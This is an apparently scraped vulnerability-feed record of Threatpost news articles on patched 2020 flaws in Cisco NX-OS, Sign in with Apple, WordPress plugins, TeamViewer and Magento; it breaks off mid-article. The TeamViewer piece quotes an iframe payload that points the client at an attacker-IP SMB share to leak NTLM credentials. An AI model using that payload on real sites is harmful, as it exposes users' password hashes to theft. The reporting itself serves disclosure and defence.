Severe Cisco DoS Flaw Can Cripple Nexus Switches

2020-06-02T16:16:31

Description

Cisco has patched a high-severity flaw in its NX-OS software, the network operating system used by Cisco’s Nexus-series Ethernet switches. If exploited, the vulnerability could allow an unauthenticated, remote attacker to bypass the input access control lists (ACLs) configured on affected Nexus switches – and launch a denial of service (DoS) attacks on the devices. “A successful exploit could cause the affected device to unexpectedly decapsulate the IP-in-IP packet and forward the inner IP packet,” according to Cisco’s security advisory, [published on Monday](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-nxos-ipip-dos-kCT9X4>). “This may result in IP packets bypassing input ACLs configured on the affected device or other security boundaries defined elsewhere in the network.” [![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>) The vulnerability ([CVE-2020-10136](<https://nvd.nist.gov/vuln/detail/CVE-2020-10136>)) stems from the network stack of Cisco’s NX-OS software. Specifically, it exists in a tunneling protocol called IP-in-IP encapsulation. This protocol allows IP packets to be encapsulated inside another IP packet. The IP-in-IP protocol on the affected software were accepting IP-in-IP packets from any source — to any destination — without explicit configuration between the specified source and destination IP addresses. An attacker could exploit this issue by sending a crafted IP-in-IP packet to an affected device. Cisco said that under “certain conditions,” the crafted packets could cause the network stack process to crash and restart multiple times — ultimately leading to DoS for affected devices. Specifically impacted by the flaw are the Nexus 1000, 3000, 5500, 5600, 6000, 7000 and 9000 series, as well as Cisco Unified Computing System (UCS) 6200 and 06300 Series Fabric Interconnects (see a full list of affected models below). Users can also check whether their version of Cisco NX-OS is impacted using a [checking tool available on Cisco’s advisory](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-nxos-ipip-dos-kCT9X4>). [![Cisco nexus switch flaw](https://media.threatpost.com/wp-content/uploads/sites/103/2020/06/02110207/cisco-flaw-1024x494.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/06/02110207/cisco-flaw.png>) Users can update to the latest patch, and, “if a device has the ability to disable IP-in-IP in its configuration, it is recommended that you disable IP-in-IP in all interfaces that do not require this feature,” according to a [Tuesday CERT Coordination Center notice](<https://kb.cert.org/vuls/id/636397>). “Device manufacturers are urged to disable IP-in-IP in their default configuration and to require their customers to explicitly configure IP-in-IP as and when needed.” Proof-of-concept (PoC) exploit code was released for the bug by [Yannay Livneh](<https://github.com/CERTCC/PoC-Exploits/tree/master/cve-2020-10136>), who had also discovered the flaw. “You can use this code to verify if your device supports default IP-in-IP encapsulation from arbitrary sources to arbitrary destinations,” said Livneh on GitHub. “The intended use of this code requires at least two more devices with distinct IP addresses for these two devices.” Cisco said it is “not aware of any public announcements or malicious use of the vulnerability.” The vulnerability ranks 8.6 out of 10 on the CVSS scale, making it high severity. The flaw [comes a week after Cisco announced](<https://threatpost.com/hackers-compromise-cisco-servers-saltstack/156091/>) that attackers were able to compromise its servers, after exploiting two known, critical[ SaltStack vulnerabilities](<https://threatpost.com/salt-bugs-full-rce-root-cloud-servers/155383/>). The flaws exist in the open-source Salt management framework, which are used in Cisco network-tooling products. **_Concerned about the IoT security challenges businesses face as more connected devices run our enterprises, drive our manufacturing lines, track and deliver healthcare to patients, and more? On _**[**_June 3 at 2 p.m. ET_**](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>)**_, join renowned security technologist Bruce Schneier, Armis CISO Curtis Simpson and Threatpost for a FREE webinar, _**[**_Taming the Unmanaged and IoT Device Tsunami_**](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>)**_. Get exclusive insights on how to manage this new and growing attack surface. _**[**_Please register here_**](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>)**_ for this sponsored webinar._**

{"id": "THREATPOST:B664DFB1B57D66837AE025D5CD687F70", "vendorId": null, "type": "threatpost", "bulletinFamily": "info", "title": "Severe Cisco DoS Flaw Can Cripple Nexus Switches", "description": "Cisco has patched a high-severity flaw in its NX-OS software, the network operating system used by Cisco\u2019s Nexus-series Ethernet switches.\n\nIf exploited, the vulnerability could allow an unauthenticated, remote attacker to bypass the input access control lists (ACLs) configured on affected Nexus switches \u2013 and launch a denial of service (DoS) attacks on the devices.\n\n\u201cA successful exploit could cause the affected device to unexpectedly decapsulate the IP-in-IP packet and forward the inner IP packet,\u201d according to Cisco\u2019s security advisory, [published on Monday](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-nxos-ipip-dos-kCT9X4>). \u201cThis may result in IP packets bypassing input ACLs configured on the affected device or other security boundaries defined elsewhere in the network.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe vulnerability ([CVE-2020-10136](<https://nvd.nist.gov/vuln/detail/CVE-2020-10136>)) stems from the network stack of Cisco\u2019s NX-OS software. Specifically, it exists in a tunneling protocol called IP-in-IP encapsulation. This protocol allows IP packets to be encapsulated inside another IP packet. The IP-in-IP protocol on the affected software were accepting IP-in-IP packets from any source \u2014 to any destination \u2014 without explicit configuration between the specified source and destination IP addresses.\n\nAn attacker could exploit this issue by sending a crafted IP-in-IP packet to an affected device. Cisco said that under \u201ccertain conditions,\u201d the crafted packets could cause the network stack process to crash and restart multiple times \u2014 ultimately leading to DoS for affected devices.\n\nSpecifically impacted by the flaw are the Nexus 1000, 3000, 5500, 5600, 6000, 7000 and 9000 series, as well as Cisco Unified Computing System (UCS) 6200 and 06300 Series Fabric Interconnects (see a full list of affected models below). Users can also check whether their version of Cisco NX-OS is impacted using a [checking tool available on Cisco\u2019s advisory](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-nxos-ipip-dos-kCT9X4>).\n\n[![Cisco nexus switch flaw](https://media.threatpost.com/wp-content/uploads/sites/103/2020/06/02110207/cisco-flaw-1024x494.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/06/02110207/cisco-flaw.png>)\n\nUsers can update to the latest patch, and, \u201cif a device has the ability to disable IP-in-IP in its configuration, it is recommended that you disable IP-in-IP in all interfaces that do not require this feature,\u201d according to a [Tuesday CERT Coordination Center notice](<https://kb.cert.org/vuls/id/636397>). \u201cDevice manufacturers are urged to disable IP-in-IP in their default configuration and to require their customers to explicitly configure IP-in-IP as and when needed.\u201d\n\nProof-of-concept (PoC) exploit code was released for the bug by [Yannay Livneh](<https://github.com/CERTCC/PoC-Exploits/tree/master/cve-2020-10136>), who had also discovered the flaw.\n\n\u201cYou can use this code to verify if your device supports default IP-in-IP encapsulation from arbitrary sources to arbitrary destinations,\u201d said Livneh on GitHub. \u201cThe intended use of this code requires at least two more devices with distinct IP addresses for these two devices.\u201d\n\nCisco said it is \u201cnot aware of any public announcements or malicious use of the vulnerability.\u201d The vulnerability ranks 8.6 out of 10 on the CVSS scale, making it high severity.\n\nThe flaw [comes a week after Cisco announced](<https://threatpost.com/hackers-compromise-cisco-servers-saltstack/156091/>) that attackers were able to compromise its servers, after exploiting two known, critical[ SaltStack vulnerabilities](<https://threatpost.com/salt-bugs-full-rce-root-cloud-servers/155383/>). The flaws exist in the open-source Salt management framework, which are used in Cisco network-tooling products.\n\n**_Concerned about the IoT security challenges businesses face as more connected devices run our enterprises, drive our manufacturing lines, track and deliver healthcare to patients, and more? On _**[**_June 3 at 2 p.m. ET_**](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>)**_, join renowned security technologist Bruce Schneier, Armis CISO Curtis Simpson and Threatpost for a FREE webinar, _**[**_Taming the Unmanaged and IoT Device Tsunami_**](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>)**_. Get exclusive insights on how to manage this new and growing attack surface. _**[**_Please register here_**](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>)**_ for this sponsored webinar._**\n", "published": "2020-06-02T16:16:31", "modified": "2020-06-02T16:16:31", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://threatpost.com/cisco-dos-flaw-nexus-switches/156203/", "reporter": "Lindsey O'Donnell", "references": ["https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-nxos-ipip-dos-kCT9X4", "https://threatpost.com/newsletter-sign/", "https://nvd.nist.gov/vuln/detail/CVE-2020-10136", "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-nxos-ipip-dos-kCT9X4", "https://media.threatpost.com/wp-content/uploads/sites/103/2020/06/02110207/cisco-flaw.png", "https://kb.cert.org/vuls/id/636397", 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{"threatpost": [{"lastseen": "2020-10-15T22:19:05", "description": "A researcher recently found a critical Apple vulnerability that, if exploited, could enable remote attackers to abuse the \u201cSign in with Apple\u201d feature to take over victims\u2019 third-party application accounts. The security researcher, Bhavuk Jain, reported the flaw to Apple via its bug bounty program, and was awarded $100,000 for the find.\n\nThe flaw stemmed from the \u201c[Sign in with Apple](<https://developer.apple.com/sign-in-with-apple/>)\u201d feature, which was introduced by Apple at its Worldwide Developers Conference last year. Sign in with Apple aimed to make it easy and secure for Apple users to sign into third-party apps and websites. It did this by implementing an Apple-backed authentication system to replace social logins on third-party services.\n\n\u201cIn the month of April, I found a zero-day in Sign in with Apple that affected third-party applications which were using it and didn\u2019t implement their own additional security measures,\u201d said Jain, [in his disclosure of the bug on Sunday](<https://bhavukjain.com/blog/2020/05/30/zeroday-signin-with-apple/>). \u201cThis bug could have resulted in a full account takeover of user accounts on that third party application irrespective of a victim having a valid Apple ID or not.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nApple has since fixed the flaw. Threatpost has reached out to Apple for further comment.\n\nOne of the highlights of Sign in with Apple is that users could sign up with third-party services without needing to disclose their Apple ID email address to these services. This worked because Sign in with Apple would first validate users on the client side, and then initiate a JSON Web Token (JWT) request from Apple\u2019s authentication services. This JWT would then be used by the third-party app to confirm the user\u2019s identity.\n\nThe issue was that after Apple validated the user on the client side via their Apple ID email address, it did not verify that the JWT request was from that actual user account. An attacker could abuse this flaw by providing an Apple ID email that belongs to the victim and tricking Apple servers into generating a valid JWT payload. Once an attacker does this, he can then sign into a third-party app using the victim\u2019s identity.\n\n[![apple critical flaw ](https://media.threatpost.com/wp-content/uploads/sites/103/2020/06/01105057/flow_apple_auth-300x178.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/06/01105057/flow_apple_auth.png>)\n\nCredit: Bhavuk Jain\n\n\u201cI found I could request JWTs for any Email ID from Apple and when the signature of these tokens was verified using Apple\u2019s public key, they showed as valid,\u201d he said. \u201cThis means an attacker could forge a JWT by linking any Email ID to it and gaining access to the victim\u2019s account.\u201d\n\nAccording to [The Hacker News](<https://thehackernews.com/2020/05/sign-in-with-apple-hacking.html>), the flaw could be exploited even if users had decided to hide their email IDs from third-party services. It could also be exploited to sign up new accounts with victims\u2019 Apple IDs.\n\nThere are two hoops that attackers would need to jump through to make this exploit work. First, they would need an email ID for an Apple user \u2013 though that could be any Apple user\u2019s email ID. Second, they would need to log into a third-party app via Sign in with Apple that didn\u2019t require any further security measures.\n\nJain said the impact of this vulnerability is \u201cquite critical\u201d as it could allow full account takeover. Many developers have integrated Sign in with Apple into their services, including Dropbox, Spotify, Airbnb, and Giphy.\n\n\u201cThese applications were not tested but could have been vulnerable to a full account takeover if there weren\u2019t any other security measures in place while verifying a user,\u201d Jain said.\n\nJain said that Apple conducted an investigation of their logs and determined there was no misuse or account compromise due to this vulnerability. The researcher found the flaw in April and reported it via Apple\u2019s bug bounty program which earned him $100,000. Threatpost has reached out to Jain for further details on the timeline of discovering and reporting the flaw.\n\n[Apple in December 2019](<https://threatpost.com/apples-bug-bounty-opens-1m-payout/151334/>) opened up its historically private bug-bounty program to the public, bolstering its top payout to $1 million, in an effort to weed out serious vulnerabilities. Another Apple flaw recently [disclosed in April](<https://threatpost.com/apple-safari-flaws-webcam-access/154476/>) earned a bug bounty hunter $75,000 for finding Safari flaws that could be exploited to snoop on iPhones, iPads and Mac computers using their microphones and cameras.\n\n**_Concerned about the IoT security challenges businesses face as more connected devices run our enterprises, drive our manufacturing lines, track and deliver healthcare to patients, and more? On _**[**_June 3 at 2 p.m. ET_**](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>)**_, join renowned security technologist Bruce Schneier, Armis CISO Curtis Simpson and Threatpost for a FREE webinar, _**[**_Taming the Unmanaged and IoT Device Tsunami_**](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>)**_. Get exclusive insights on how to manage this new and growing attack surface. _**[**_Please register here_**](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>)**_ for this sponsored webinar._**\n", "cvss3": {}, "published": "2020-06-01T16:07:45", "type": "threatpost", "title": "Apple Pays $100K Bounty for Critical 'Sign in With Apple' Flaw", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407", "CVE-2020-5135"], "modified": "2020-06-01T16:07:45", "id": "THREATPOST:DF1387D21FA2EBF23BBB67081E7B75EC", "href": "https://threatpost.com/apple-100k-bounty-critical-sign-in-with-apple-flaw/156167/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:20:44", "description": "A high-severity cross-site request forgery (CSRF) vulnerability in Real-Time Find and Replace, a WordPress plugin installed on more than 100,000 sites, could lead to cross-site scripting and the injection of malicious JavaScript anywhere on a victim site.\n\nAccording to research from Wordfence [released on Monday](<https://www.wordfence.com/blog/2020/04/high-severity-vulnerability-patched-in-real-time-find-and-replace-plugin/>), the malicious code injection could be used to create a new administrative user account, steal session cookies, redirect users to a malicious site, obtain administrative access or to infect innocent visitors browsing a compromised site with a drive-by malware attack.\n\nReal-Time Find and Replace allows administrators to dynamically replace any HTML content on WordPress sites with new content without permanently changing the source content, right before a page is delivered to a user\u2019s browser. Any replacement code or content executes anytime a user navigates to a page that contains the original content.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cTo provide this functionality, the plugin registers a sub-menu page tied to the function far_options_page with a capability requirement to \u2018activate_plugins,'\u201d explained Wordfence researcher Chloe Chamberland, in a Monday posting. \u201cThe far_options_page function contains the core of the plugin\u2019s functionality for adding new find-and-replace rules. Unfortunately, that function failed to use nonce verification, so the integrity of a request\u2019s source was not verified during rule update, resulting in a CSRF vulnerability.\u201d\n\nCross-site request forgery attacks (CSRF or XSRF for short) are used to send malicious requests from an authenticated user to a web application. Thus, a successful exploit of the bug does require user interaction: An attacker would need to trick a site\u2019s administrator into clicking on a malicious link in a comment or email, according to Wordfence.\n\nAttackers could particularly wreak havoc if they used the bug to replace the <head> HTML tag with malicious JavaScript, she added. Because most pages contain a <head> HTML tag for the page header, once replacement would cause the malicious code to execute on every page of the affected site.\n\nUpdating to the latest version of the plugin, version 4.0.2, will implement a fix for the issue.\n\n\u201cIn the most up to date version, a nonce has been added along with a check_admin_referer nonce verification function to ensure the legitimacy of the source of a request,\u201d said Chamberland.\n\nWordPress plugins continue to make headlines as weak links that can lead to website compromises. For instance, in April a pair of security vulnerabilities (one of them critical) in the WordPress search engine optimization (SEO) plugin known as Rank Math, [were found](<https://threatpost.com/critical-wordpress-plugin-bug-lock-admins-out/154354/>). They could allow remote cybercriminals to elevate privileges and install malicious redirects onto a target site, according to researchers. RankMath a WordPress plugin with more than 200,000 installations.\n\nIn March, a critical vulnerability in a WordPress plugin known as \u201cThemeREX Addons\u201d [was found](<https://threatpost.com/themerex-wordpress-plugin-remote-code-execution/153592/>) that could open the door for remote code execution in 44,000 websites.\n\nAlso in March, two vulnerabilities \u2013 including a high-severity flaw \u2013 [were patched](<https://threatpost.com/wordpress-plugin-bug-popup-builder/153715/>) in a popular WordPress plugin called Popup Builder. The more severe flaw could enable an unauthenticated attacker to infect malicious JavaScript into a popup \u2013 potentially opening up more than 100,000 websites to takeover.\n\nIn February, popular WordPress plugin Duplicator, which has more than 1 million active installations, [was discovered to have](<https://www.wordfence.com/blog/2020/03/zero-day-vulnerability-in-themerex-addons-now-patched/>) an unauthenticated arbitrary file download vulnerability that was being attacked. And, earlier that month, a critical flaw in a popular WordPress plugin that helps make websites compliant with the General Data Protection Regulation (GDPR) [was disclosed](<https://threatpost.com/critical-wordpress-plugin-bug-afflicts-700k-sites/152871/>). The flaw could enable attackers to modify content or inject malicious JavaScript code into victim websites. It affected 700,000 sites.\n\n**_Inbox security is your best defense against today\u2019s fastest growing security threat \u2013 phishing and Business Email Compromise attacks. [On May 13 at 2 p.m. ET](<https://register.gotowebinar.com/register/5064791868226032141?source=ART>), join Valimail security experts and Threatpost for a FREE webinar, [5 Proven Strategies to Prevent Email Compromise](<https://register.gotowebinar.com/register/5064791868226032141?source=ART>). Get exclusive insights and advanced takeaways on how to lockdown your inbox to fend off the latest phishing and BEC assaults. Please [register here ](<https://register.gotowebinar.com/register/5064791868226032141?source=ART>)for this sponsored webinar._**\n", "cvss3": {}, "published": "2020-04-28T15:08:17", "type": "threatpost", "title": "WordPress Plugin Bug Opens 100K Websites to Compromise", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407", "CVE-2020-5135"], "modified": "2020-04-28T15:08:17", "id": "THREATPOST:718E4F36F0096BBE66CB2FAE28048810", "href": "https://threatpost.com/wordpress-plugin-bug-100k-websites-compromise/155230/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:16:07", "description": "Researchers are warning of a critical vulnerability in a WordPress plugin called Comments \u2013 wpDiscuz, which is installed on more than 70,000 websites. The flaw gives unauthenticated attackers the ability to upload arbitrary files (including PHP files) and ultimately execute remote code on vulnerable website servers.\n\nComments \u2013 wpDiscuz enables WordPress websites to add custom comment forms and fields to sites, and serves as an alternative to services like Disqus. Researchers with Wordfence, who discovered the flaw, have notified[ the plugin\u2019s developer](<https://wordpress.org/plugins/wpdiscuz/>), gVectors, which issued a patch on July 23.\n\nWith a CVSS score of 10 out of 10, the glitch is considered critical in severity, and researchers are urging website administrators to ensure that they update.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cThis vulnerability was introduced in the plugin\u2019s latest major version update,\u201d said Wordfence researchers [in a Tuesday post](<https://www.wordfence.com/blog/2020/07/critical-arbitrary-file-upload-vulnerability-patched-in-wpdiscuz-plugin/>). \u201cThis is considered a critical security issue that could lead to remote code execution on a vulnerable site\u2019s server. If you are running any version from 7.0.0 to 7.0.4 of this plugin, we highly recommend updating to the patched version, 7.0.5, immediately.\u201d\n\nThreatpost has reached out to gVectors for further comment.\n\n## **The Flaw**\n\nIn the latest overhaul of the plugin (versions 7.x.x), its developers added a feature that gives users the ability to include image attachments in comments that are uploaded to a website.\n\nHowever, the implementation of this feature lacked security protections vetting file attachments in the comments to make sure they actually are image files, versus another type of file.\n\nThis lack of verification could allow an unauthenticated user to upload any type of file, including PHP files. To pass the file content-verification check, an attacker would simply need to add an image to make any file look like the allowed file type.\n\nAfter uploading a file, the file-path location is returned as part of the request\u2019s response, allowing the attacker to easily find the file\u2019s location and access it. This means that attackers could upload arbitrary PHP files and then access those files to trigger their execution on the server, achieving remote code execution, said researchers.\n\n\u201cIf exploited, this vulnerability could allow an attacker to execute commands on your server and traverse your hosting account to further infect any sites hosted in the account with malicious code,\u201d said researchers. \u201cThis would effectively give the attacker complete control over every site on your server.\u201d\n\n## **WordPress Plugin Bugs**\n\nWordPress plugins continue to be plagued by vulnerabilities, which have dire consequences for websites. Earlier in July, [it was discovered that the](<https://threatpost.com/advertising-plugin-wordpress-full-site-takeovers/157283/>) Adning Advertising plugin for WordPress, a premium plugin with over 8,000 customers, contains a critical remote code-execution vulnerability with the potential to be exploited by unauthenticated attackers.\n\nIn May, Page Builder by SiteOrigin, a WordPress plugin with a million active installs that\u2019s used to build websites via a drag-and-drop function, [was found to harbor](<https://threatpost.com/wordpress-page-builder-bugs-takeover/155659/>) two flaws that could allow full site takeover.\n\nMeanwhile in April, it was revealed that legions of website visitors could be infected with drive-by malware, among other issues, thanks to a [CSRF bug in Real-Time Search and Replace](<https://threatpost.com/wordpress-plugin-bug-100k-websites-compromise/155230/>).\n\n**_Complimentary Threatpost Webinar__: Want to learn more about Confidential Computing and how it can supercharge your cloud security? This webinar \u201c__[Cloud Security Audit: A Confidential Computing Roundtable](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)__\u201d brings top cloud-security experts together to explore how __Confidential Computing__ is a game changer for securing dynamic cloud data and preventing IP exposure. Join us __[Wednesday Aug. 12 at 2pm ET](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>) __for this__ FREE __live webinar._**\n", "cvss3": {}, "published": "2020-07-29T16:32:00", "type": "threatpost", "title": "Critical Security Flaw in WordPress Plugin Allows RCE", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407", "CVE-2020-5135"], "modified": "2020-07-29T16:32:00", "id": "THREATPOST:EFC814A6564326F98824AC875F125E0D", "href": "https://threatpost.com/critical-rce-flaw-wordpress-plugin-on-70k-sites/157824/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:15:33", "description": "Popular remote-support software TeamViewer has patched a high-severity flaw in its desktop app for Windows. If exploited, the flaw could allow remote, unauthenticated attackers to execute code on users\u2019 systems or crack their TeamViewer passwords.\n\nTeamViewer is a proprietary software application used by businesses for remote-control functionalities, desktop sharing, online meetings, web conferencing and file transfer between computers. The recently discovered flaw stems from the Desktop for Windows app ([CVE-2020-13699](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13699>)) not properly quoting its custom uniform resource identifier (URI) handlers.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2020/08/06145744/Threatpost_CC_webinar-269x300.png)](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)Apps need to identify the URIs for the websites they will handle. But because handler applications can receive data from untrusted sources, the URI values passed to the application may contain malicious data that attempts to exploit the app. In this specific case, values are not \u201cquoted\u201d by the app \u2013 meaning that TeamViewer will treat them as commands rather than as input values.\n\n\u201cAn attacker could embed a malicious iframe in a website with a crafted URL (<iframe src=\u2019teamviewer10: \u2013play \\\\\\attacker-IP\\share\\fake.tvs\u2019>) that would launch the TeamViewer Windows desktop client and force it to open a remote SMB share,\u201d according [to an advisory](<https://jeffs.sh/CVEs/CVE-2020-13699.txt>) by Jeffrey Hofmann, security engineer at Praetorian, who disclosed the flaw.\n\nTo initiate the attack, the attacker could simply persuade a victim with TeamViewer installed on their system to click on crafted URL in a website \u2013 an opportunity for attackers to potentially [launch watering-hole attacks](<https://threatpost.com/watering-holes-asian-ethnic-flash-update-decoy/154323/>).\n\nThe URI will then trick the app into creating a connection with attacker-controlled remote Server Message Block (SMB) protocol. SMB is a network protocol used by Windows-based computers that allows systems within the same network to share files.\n\nAfter a victim\u2019s TeamViewer app initiates the remote SMB share, Windows will then make the connection using NT LAN Manager (NTLM). NTLM uses an encrypted protocol to authenticate a user without transferring the user\u2019s password. NTLM credentials are based on data obtained during the interactive logon process and consist of a domain name, a user name, and a one-way hash of the user\u2019s password.\n\nIn this attack scenario, the NTLM request can then be relayed by attackers using a tool like Responder, according to Hofmann. The Responder toolkit captures SMB authentication sessions on an internal network, and relays them to a target machine. This ultimately grants attackers access to the victim\u2019s machine, automatically. It also allows them to capture password hashes, which they can then crack via brute-force.\n\nFortunately for users, while the potential impact of this vulnerability is high, \u201cthe practical impact is low,\u201d Hofmann explained to Threatpost in an email. \u201cSuccessfully performing the attack is difficult and requires user interaction. There are a lot of prerequisites to exploit the vulnerability successfully. Every modern browser except for Firefox URL encodes spaces when handing off to URI handlers which effectively prevents this attack.\u201d\n\nThe flaw ranks 8.8 out of 10.0 on the CVSS scale, making it high severity. TeamViewer versions prior to 15.8.3 are vulnerable, and the bug affects various versions of TeamViewer, including: teamviewer10, teamviewer8, teamviewerapi, tvchat1, tvcontrol1, tvfiletransfer1, tvjoinv8, tvpresent1, tvsendfile1, tvsqcustomer1, tvsqsupport1, tvvideocall1 and tvvpn1.\n\nThe issue is fixed in 8.0.258861, 9.0.258860, 10.0.258873, 11.0.258870, 12.0.258869, 13.2.36220, 14.2.56676, 14.7.48350, and 15.8.3, said researchers.\n\nIn order to patch the flaw, \u201cWe implemented some improvements in URI handling relating to CVE 2020-13699,\u201d according to TeamViewer in a [statement sent to Threatpost](<https://community.teamviewer.com/t5/Announcements/Statement-on-CVE-2020-13699/td-p/98448>). \u201cThank you, Jeffrey Hofmann with Praetorian, for your professionalism and following a responsible disclosure model. We are grateful that you reached out to us and that you could confirm the fix of your findings in the latest release.\u201d\n\nIn a [security advisory regarding the flaw](<https://www.cisecurity.org/advisory/a-vulnerability-in-teamviewer-cloud-allow-for-offline-password-cracking_2020-106/>), the Center for Internet Security (CIS) recommended that TeamViewer users apply the appropriate patches. They also recommended that users avoid untrusted websites or links provided by unknown sources, and \u201ceducate users regarding threats posed by hypertext links contained in emails or attachments, especially from untrusted sources.\u201d\n\nTeamViewer\u2019s remote control functionalities make it a lucrative attack target for bad actors \u2013 especially with more enterprises turning to [collaboration apps like TeamViewer](<https://threatpost.com/beyond-zoom-safe-slack-collaboration-apps/154446/>) during the pandemic. In 2019, a targeted, email-borne attack against embassy officials and government finance authorities globally [weaponized TeamViewer](<https://threatpost.com/teamviewer-attacks-state-department/144014/>) to gain full control of the infected computer. And earlier in 2020, [a newly discovered variant](<https://threatpost.com/cerberus-trojan-major-spyware-targeted-attack/155415/>) of the Cerberus Android trojan was discovered with vastly expanded and more sophisticated info-harvesting capabilities, and the ability to run TeamViewer.\n\n_**Complimentary Threatpost Webinar**__: Want to learn more about Confidential Computing and how it can supercharge your cloud security? This webinar \u201c**[Cloud Security Audit: A Confidential Computing Roundtable](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**\u201d brings top cloud-security experts from Microsoft and __Fortanix together to explore how **Confidential Computing** is a game changer for securing dynamic cloud data and preventing IP exposure. Join us **[Wednesday Aug. 12 at 2pm ET](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>) **for this** FREE **live webinar with Dr. David Thaler, software architect, Microsoft and Dr Richard Searle, security architect, Fortanix \u2013 both with the Confidential Computing Consortium. **[Register Now](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**._\n", "cvss3": {}, "published": "2020-08-10T15:56:13", "type": "threatpost", "title": "TeamViewer Flaw in Windows App Allows Password-Cracking", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-13699", "CVE-2020-24400", "CVE-2020-24407", "CVE-2020-5135"], "modified": "2020-08-10T15:56:13", "id": "THREATPOST:5C0EFAEECFC2925A0D89538F79EE561A", "href": "https://threatpost.com/teamviewer-fhigh-severity-flaw-windows-app/158204/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-15T22:29:14", "description": "The popular e-commerce platform Magento is urging web administrators to install its latest security update in order to defend against malicious attacks in the wild that could exploit a critical remote code-execution vulnerability.\n\nWhile the company didn\u2019t specify what kinds of potential attacks that websites should be concerned about (Threatpost reached out for comment on this), Magento is a common target for the [Magecart association of threat groups](<https://threatpost.com/magecart-groups-attack-simultaneous-sites-in-card-theft-frenzy/149872/>), which compromise websites built on unpatched e-commerce platforms in order to inject card-skimming scripts on checkout pages. The scripts steal unsuspecting customers\u2019 payment card details and other information entered into the fields on the page.\n\nThe vulnerability ([CVE-2019-8144](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8144>)), which carries a severity ranking of 10 out of 10 on the CVSS v.3 scale, could enable an unauthenticated user to insert a malicious payload into a merchant\u2019s site through Page Builder template methods, and execute it. Page Builder allows websites to design content updates, preview them live and schedule them to be published. The bug specifically exists in the preview function.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe flaw affects Magento 2.3, and was patched in in Magento Commerce 2.3.3 and with the security-only patch 2.3.2-p2, [released in October](<https://magento.com/security/patches/magento-2.3.3-and-2.2.10-security-update>). The company warned that patching will have the side effect of \u201cblocking administrators from viewing previews for products, blocks and dynamic blocks\u2019; but, it said it will re-enable the preview functionality as soon as possible.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/11/06165034/Breach-Webinar-Promo.png)](<https://register.gotowebinar.com/register/3127445778613605890?source=ART>)\n\n\u201cWe recommend that all merchants, even those who have already upgraded to 2.3.3 or applied security-only patch 2.3.2-p2, review the security of their Magento site to confirm that it was not potentially compromised before upgrade,\u201d Piotr Kaminski of the Magento security team wrote [in a posting](<https://magento.com/security/patches/latest-magento-security-update-helps-protect-recently-reported-rce-vulnerability>) on Monday. \u201cApplying this hot fix or upgrading\u2026will help defend your store against potential attacks going forward, but will not address the effects of an earlier attack.\u201d\n\nThe same update patches several other critical emote-execution flaws with a CVSS v.3 score of 9 and above, as well as cross-site scripting (CSS) issues.\n\nThe warning comes as Magecart activity and infrastructure continues to saturate the web. According to [analysis from RiskIQ](<https://threatpost.com/magecart-infestations-saturate-web/148911/>) last month, there are now 573 known command-and-control (C2) domains for the group, with close to 10,000 hosts actively loading those domains. In all, RiskIQ has detected almost 2 million (2,086,529) instances of Magecart\u2019s javaScript binaries, with over 18,000 e-commerce hosts directly breached.\n\n\u201cIt is unfortunate that this kind of attack is still succeeding even though a mitigation is quite straightforward,\u201d said Mounir Hahad, head of Juniper Threat Labs at Juniper Networks, via email. \u201cAs a last 